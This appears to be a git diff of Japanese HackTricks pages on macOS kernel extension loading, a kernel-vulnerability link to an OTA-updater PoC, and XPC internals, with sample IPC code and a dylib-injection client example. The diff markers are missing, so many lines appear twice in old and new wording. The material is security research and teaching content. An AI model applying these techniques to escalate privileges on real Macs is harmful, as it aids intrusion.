* 次に、**root** ユーザーが **カーネル拡張をロードできる**唯一のユーザーであり、パッケージ内のファイルは **rootに属する必要があります**
* アップロードプロセス中、パッケージは **保護された非rootの場所** に準備される必要があります:`/Library/StagedExtensions``com.apple.rootless.storage.KernelExtensionManagement` の付与が必要です)。
* 最後に、ロードを試みると、ユーザーは [**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 。受け入れられた場合、コンピュータは **再起動** されてロードされる必要があります。
### ロードプロセス
Catalinaでは、次のようになりました**検証**プロセスが**ユーザーランド**で発生することに注目することが興味深いです。ただし、**`com.apple.private.security.kext-management`**権限を持つアプリケーションのみが**カーネルに拡張機能のロードを要求**できます`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
カタリナでは次のようでした:**検証** プロセスは **ユーザーランド** で発生することに注意することが興味深いです。しかし、**`com.apple.private.security.kext-management`** の付与を持つアプリケーションのみが **カーネルに拡張をロードするよう要求できます**`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
1. **`kextutil`** cliは、拡張機能のロードの**検証**プロセスを**開始**します
* **Machサービス**を使用して**`kextd`**に送信して話します。
2. **`kextd`**は、**署名**など、いくつかのことをチェックします
* 拡張機能を**ロード**できるかどうかを**チェック**するために**`syspolicyd`**に話します
3. **`syspolicyd`**は、拡張機能が以前にロードされていない場合、**ユーザーにプロンプト**を表示します。
* **`syspolicyd`**は結果を**`kextd`**に報告します
4. **`kextd`**は最終的にカーネルに拡張機能**ロードするよう指示**できます
1. **`kextutil`** CLI **が** 拡張のロードのための **検証** プロセスを **開始します**
* **`kextd`** に **Machサービス** を使用して送信します。
2. **`kextd`** は、**署名** などのいくつかのことをチェックします
* **`syspolicyd`** に話しかけて、拡張が **ロードできるかどうかを確認します**
3. **`syspolicyd`** は、拡張が以前にロードされていない場合、**ユーザーにプロンプトを表示します**
* **`syspolicyd`** は結果を **`kextd`** に報告します
4. **`kextd`** は最終的に **カーネルに拡張をロードするよう指示できます**
**`kextd`**が利用できない場合、**`kextutil`**は同じチェックを実行できます。
もし **`kextd`** が利用できない場合、**`kextutil`** は同じチェックを実行できます。
## 参考文献
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、独占的な[NFTコレクション](https://opensea.io/collection/the-peass-family)を発見してください
* [**PEASSとHackTricksの公式スウォッグ**](https://peass.creator-spring.com)を入手してください
* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループに参加**するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私に[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。
* **ハッキングのヒントを共有する**には、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# macOS カーネルの脆弱性
# macOSカーネルの脆弱性
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、[**NFTs**](https://opensea.io/collection/the-peass-family)の独占コレクションを発見しましょう。
* [**公式PEASSとHackTricksのスウォッグ**](https://peass.creator-spring.com)を入手しましょう。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを送信して、ハッキングのヒントを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
## [OTAの乗っ取り](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
## [OTAのハッキング](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)では、ソフトウェアアップデーターを侵害することでカーネルを侵害することを可能にしたいくつかの脆弱性が説明されています。\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
[**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)では、ソフトウェアアップデーターを妥協させることによってカーネルを妥協させることを可能にしたいくつかの脆弱性が説明されています。\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722)。
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、[**NFTs**](https://opensea.io/collection/the-peass-family)の独占コレクションを発見しましょう。
* [**公式PEASSとHackTricksのスウォッグ**](https://peass.creator-spring.com)を入手しましょう。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを送信して、ハッキングのヒントを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,46 +1,47 @@
# macOS XPC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
XPCは、macOSとiOSで使用されるXNUmacOSに使用されるカーネルのプロセス間通信を意味し、**プロセス間の通信**のためのフレームワークです。XPCは、システム上の異なるプロセス間で**安全で非同期のメソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事をするために必要な**許可だけ**を持って実行される**特権分離アプリケーションの作成**を可能にし、侵害されたプロセスからの潜在的な損害を制限します。
XPCは、macOSおよびiOS上の**プロセス間通信**のためのフレームワークで、XNUmacOSで使用されるカーネルを指します。XPCは、システム上の異なるプロセス間で**安全で非同期のメソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の作成を可能にし、侵害されたプロセスからの潜在的な損害を制限します。
XPCはプロセス間通信IPCの一形態を使用しこれは同じシステム上で実行されている異なるプログラムがデータを行き来させるための方法のセットです。
XPCは、同じシステム上で実行されている異なるプログラムがデータを送受信するための一連のメソッドである**プロセス間通信IPC**の一形態を使用します。
XPCの主な利点には以下が含まれます:
XPCの主な利点は次のとおりです:
1. **セキュリティ**: 異なるプロセスに作業を分離することで、各プロセスには必要な許可のみが与えられます。これは、プロセスが侵害されても、害を及ぼす能力が限定されることを意味します。
2. **安定性**: XPCはクラッシュを発生したコンポーネントに隔離するのに役立ちます。プロセスがクラッシュしても、システムの残りの部分に影響を与えることなく再起動することができます。
3. **パフォーマンス**: XPCは簡単な並行処理を可能にし、異なるタスクを異なるプロセスで同時に実行できます。
1. **セキュリティ**:作業を異なるプロセスに分離することで、各プロセスには必要な権限のみが付与されます。これにより、プロセスが侵害されても、害を及ぼす能力は制限されます。
2. **安定性**XPCは、クラッシュを発生したコンポーネントに隔離するのに役立ちます。プロセスがクラッシュした場合、システムの他の部分に影響を与えることなく再起動できます。
3. **パフォーマンス**XPCは、異なるタスクを異なるプロセスで同時に実行できるため、簡単に並行処理を可能にします。
唯一の**欠点**は、アプリケーションを複数のプロセスに分離し、XPCを介して通信させることが**効率が低い**ことです。しかし、今日のシステムではほとんど気づかれず、利点の方が優れています。
唯一の**欠点**は、**アプリケーションを複数のプロセスに分離**し、それらがXPCを介して通信することが**効率が低い**ことです。しかし、今日のシステムではほとんど気にならず、利点の方が大きいです。
## アプリケーション有のXPCサービス
## アプリケーション有のXPCサービス
アプリケーションのXPCコンポーネントは**アプリケーション自体の内部にあります。** 例えば、Safariでは **`/Applications/Safari.app/Contents/XPCServices`** で見つけることができます。拡張子は **`.xpc`**(例:**`com.apple.Safari.SandboxBroker.xpc`**)であり、メインバイナリが内部に含まれる**バンドル**でもあります:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker``Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
アプリケーションのXPCコンポーネントは**アプリケーション自体の内部**にあります。たとえば、Safariでは**`/Applications/Safari.app/Contents/XPCServices`**に見つけることができます。これらは**`.xpc`**拡張子を持ち(例:**`com.apple.Safari.SandboxBroker.xpc`**)、メインバイナリの内部にも**バンドル**されています:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`および`Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
お考えの通り、**XPCコンポーネントは他のXPCコンポーネントやメインアプリバイナリとは異なる権限と特権を持っています。** ただし、XPCサービスがその**Info.plist**ファイルで[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)を「True」に設定されている場合は例外です。この場合、XPCサービスはそれを呼び出したアプリケーションと**同じセキュリティセッションで実行されます。**
あなたが考えているように、**XPCコンポーネントは他のXPCコンポーネントやメインアプリバイナリとは異なる権限と特権を持ちます**。ただし、XPCサービスが**Info.plist**ファイルで**JoinExistingSession**を“True”に設定されている場合を除きます。この場合、XPCサービスは呼び出したアプリケーションと**同じセキュリティセッション**で実行されます。
XPCサービスは必要に応じて**launchd**によって**開始され**、すべてのタスクが**完了**するとシステムリソースを解放するために**シャットダウンされます。** アプリケーション固有のXPCコンポーネントはアプリケーションによってのみ利用できるため、潜在的な脆弱性に関連するリスクが減少します。
XPCサービスは**launchd**によって必要に応じて**開始され**、すべてのタスクが**完了**するとシステムリソースを解放するために**シャットダウン**されます。**アプリケーション特有のXPCコンポーネントはアプリケーションによってのみ利用可能**であり、潜在的な脆弱性に関連するリスクを低減します。
## システム全体のXPCサービス
システム全体のXPCサービスはすべてのユーザーがアクセスできます。これらのサービスは、launchdまたはMachタイプであり、**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**、または**`/Library/LaunchAgents`**などの指定されたディレクトリにあるplistファイルで**定義する必要があります**
システム全体のXPCサービスはすべてのユーザーがアクセス可能です。これらのサービスは、launchdまたはMachタイプであり、**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**、または**`/Library/LaunchAgents`**などの指定されたディレクトリにあるplistファイルで**定義する必要があります**
これらのplistファイルにはサービスの名前を示す**`MachServices`**というキーと、バイナリへのパスを示す**`Program`**というキーがあります:
これらのplistファイルには、サービスの名前を持つ**`MachServices`**というキーと、バイナリへのパスを持つ**`Program`**というキーがあります:
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
@ -74,31 +75,82 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
</dict>
</plist>
```
**`LaunchDameons`**にあるものはrootによって実行されます。したがって、権のないプロセスがこれらのいずれかと通信できる場合、権を昇格させることができる可能性があります。
The ones in **`LaunchDameons`** は root によって実行されます。したがって、権のないプロセスがこれらのいずれかと通信できる場合、権を昇格させることができる可能性があります。
## XPC イベントメッセージ
## XPC オブジェクト
アプリケーションは異なるイベント**メッセージ**に**登録**することができ、これにより、そのようなイベントが発生したときに**オンデマンドで起動**されるようになります。これらのサービスの**設定**は、**前述のディレクトリと同じディレクトリ**にある**launchd plistファイル**で行われ、追加の**`LaunchEvent`**キーが含まれています。
* **`xpc_object_t`**
### XPC 接続プロセスチェック
すべての XPC メッセージは、シリアル化とデシリアル化を簡素化する辞書オブジェクトです。さらに、`libxpc.dylib` はほとんどのデータ型を宣言しているため、受信したデータが期待される型であることを確認できます。C API では、すべてのオブジェクトは `xpc_object_t` であり(その型は `xpc_get_type(object)` を使用して確認できます)。\
さらに、関数 `xpc_copy_description(object)` を使用して、デバッグ目的に役立つオブジェクトの文字列表現を取得できます。\
これらのオブジェクトには、`xpc_<object>_copy`、`xpc_<object>_equal`、`xpc_<object>_hash`、`xpc_<object>_serialize`、`xpc_<object>_deserialize` などの呼び出し可能なメソッドもあります。
プロセスがXPC接続を介してメソッドを呼び出そうとするとき、**XPCサービスはそのプロセスが接続を許可されているかどうかをチェックする必要があります**。以下はそのチェックの一般的な方法とよくある落とし穴です:
`xpc_object_t` は、`xpc_<objetType>_create` 関数を呼び出すことで作成され、内部的に `_xpc_base_create(Class, Size)` を呼び出し、オブジェクトのクラスの型(`XPC_TYPE_*` のいずれか)とそのサイズ(メタデータ用に追加の 40B がサイズに加算されます)を指定します。つまり、オブジェクトのデータはオフセット 40B から始まります。\
したがって、`xpc_<objectType>_t` は `xpc_object_t` のサブクラスのようなものであり、`os_object_t*` のサブクラスになります。
{% hint style="warning" %}
`xpc_dictionary_[get/set]_<objectType>` を使用して、キーの型と実際の値を取得または設定するのは開発者であるべきことに注意してください。
{% endhint %}
* **`xpc_pipe`**
**`xpc_pipe`** は、プロセスが通信に使用できる FIFO パイプです(通信は Mach メッセージを使用します)。\
特定の Mach ポートを使用して作成するために、`xpc_pipe_create()` または `xpc_pipe_create_from_port()` を呼び出すことで XPC サーバーを作成できます。次に、メッセージを受信するには、`xpc_pipe_receive` および `xpc_pipe_try_receive` を呼び出すことができます。
**`xpc_pipe`** オブジェクトは、使用される 2 つの Mach ポートと名前(ある場合)の情報をその構造体に持つ **`xpc_object_t`** です。たとえば、plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` のデーモン `secinitd` は、`com.apple.secinitd` と呼ばれるパイプを構成します。
**`xpc_pipe`** の例は、**`launchd`** によって作成された **bootstrap pipe** で、Mach ポートの共有を可能にします。
* **`NSXPC*`**
これらは、XPC 接続の抽象化を可能にする Objective-C の高レベルオブジェクトです。\
さらに、これらのオブジェクトは、前のものよりも DTrace でデバッグしやすくなっています。
* **`GCD Queues`**
XPC はメッセージを渡すために GCD を使用し、さらに `xpc.transactionq`、`xpc.io`、`xpc-events.add-listenerq`、`xpc.service-instance` などの特定のディスパッチキューを生成します。
## XPC サービス
これらは、他のプロジェクトの **`XPCServices`** フォルダー内にある **`.xpc`** 拡張子を持つバンドルで、`Info.plist` では `CFBundlePackageType`**`XPC!`** に設定されています。\
このファイルには、Application、User、System または `_SandboxProfile` のような他の構成キーがあり、サンドボックスを定義したり、`_AllowedClients` がサービスに連絡するために必要な権限や ID を示すことがあります。これらおよび他の構成オプションは、サービスを起動する際に構成するのに役立ちます。
### サービスの開始
アプリは `xpc_connection_create_mach_service` を使用して XPC サービスに **接続** しようとし、その後 launchd がデーモンを見つけて **`xpcproxy`** を起動します。**`xpcproxy`** は構成された制限を強制し、提供された FD と Mach ポートでサービスを生成します。
XPC サービスの検索速度を向上させるために、キャッシュが使用されます。
`xpcproxy` のアクションをトレースすることが可能です:
```bash
supraudit S -C -o /tmp/output /dev/auditpipe
```
The XPCライブラリは、`kdebug`を使用して、`xpc_ktrace_pid0`および`xpc_ktrace_pid1`を呼び出すアクションをログに記録します。使用されるコードは文書化されていないため、`/usr/share/misc/trace.codes`に追加する必要があります。これらのコードは`0x29`のプレフィックスを持ち、例えば`0x29000004`: `XPC_serializer_pack`があります。\
ユーティリティ`xpcproxy`は`0x22`のプレフィックスを使用し、例えば`0x2200001c: xpcproxy:will_do_preexec`があります。
## XPCイベントメッセージ
アプリケーションは異なるイベントメッセージに**サブスクライブ**でき、これによりそのようなイベントが発生したときに**オンデマンドで開始**できるようになります。これらのサービスの**セットアップ**は、**前のものと同じディレクトリ**にある**launchd plistファイル**で行われ、追加の**`LaunchEvent`**キーが含まれています。
### XPC接続プロセスチェック
プロセスがXPC接続を介してメソッドを呼び出そうとするとき、**XPCサービスはそのプロセスが接続を許可されているかどうかを確認する必要があります**。ここでは、一般的な確認方法と一般的な落とし穴を示します:
{% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
{% endcontent-ref %}
## XPC 認証
## XPC認可
Appleはアプリがいくつかの権限を**設定し、それらを取得する方法**を設定することも許可しているので、呼び出しプロセスがそれらを持っていれば、XPCサービスからメソッドを**呼び出すことが許可されます**
Appleはまた、アプリが**いくつかの権利を設定し、それを取得する方法を構成する**ことを許可しているため、呼び出しプロセスがそれらを持っている場合、**XPCサービスからメソッドを呼び出すことが許可されます**
{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
{% endcontent-ref %}
## XPC スニファー
## XPCスニファー
XPCメッセージをスニッフするには、**Frida**を使用する[**xpcspy**](https://github.com/hot3eed/xpcspy)を使用できます。
XPCメッセージをスニフするには、[**xpcspy**](https://github.com/hot3eed/xpcspy)を使用できます。これは**Frida**を使用しています。
```bash
# Install
pip3 install xpcspy
@ -109,7 +161,9 @@ xpcspy -U -r -W <bundle-id>
## Using filters (i: for input, o: for output)
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
```
## XPC通信C言語コード例
別の使用可能なツールは [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html) です。
## XPC通信Cコードの例
{% tabs %}
{% tab title="xpc_server.c" %}
@ -166,11 +220,9 @@ dispatch_main();
return 0;
}
```
```
{% endtab %}
{% tab title="xpc_client.c" %}
```
```c
// gcc xpc_client.c -o xpc_client
@ -243,7 +295,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
## XPC通信 Objective-C コード例
## XPCコミュニケーション Objective-C コード例
{% tabs %}
{% tab title="oc_xpc_server.m" %}
@ -365,7 +417,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
```
## Dylb コード内のクライアント
## Dylbコード内のクライアント
```objectivec
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
// gcc injection example:
@ -399,16 +451,37 @@ NSLog(@"Done!");
return;
}
```
## Remote XPC
この機能は `RemoteXPC.framework``libxpc`からによって提供され、異なるホスト間でXPCを介して通信することができます。\
リモートXPCをサポートするサービスは、plistにUsesRemoteXPCキーを持っており、これは`/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`のようなケースです。しかし、サービスは`launchd`に登録されますが、機能を提供するのは`UserEventAgent`で、プラグイン`com.apple.remoted.plugin`と`com.apple.remoteservicediscovery.events.plugin`です。
さらに、`RemoteServiceDiscovery.framework`は、`com.apple.remoted.plugin`から情報を取得することを可能にし、`get_device`、`get_unique_device`、`connect`などの関数を公開しています。
一度`connect`が使用され、サービスのソケット`fd`が取得されると、`remote_xpc_connection_*`クラスを使用することが可能です。
リモートサービスに関する情報は、次のようなパラメータを使用してCLIツール`/usr/libexec/remotectl`を使用することで取得できます:
```bash
/usr/libexec/remotectl list # Get bridge devices
/usr/libexec/remotectl show ...# Get device properties and services
/usr/libexec/remotectl dumpstate # Like dump withuot indicateing a servie
/usr/libexec/remotectl [netcat|relay] ... # Expose a service in a port
...
```
BridgeOSとホスト間の通信は、専用のIPv6インターフェースを介して行われます。`MultiverseSupport.framework`は、通信に使用される`fd`を持つソケットを確立することを可能にします。\
`netstat`、`nettop`、またはオープンソースのオプションである`netbottom`を使用して、これらの通信を見つけることができます。
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,36 +1,40 @@
# macOS PID 再利用
# macOS PID Reuse
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する。
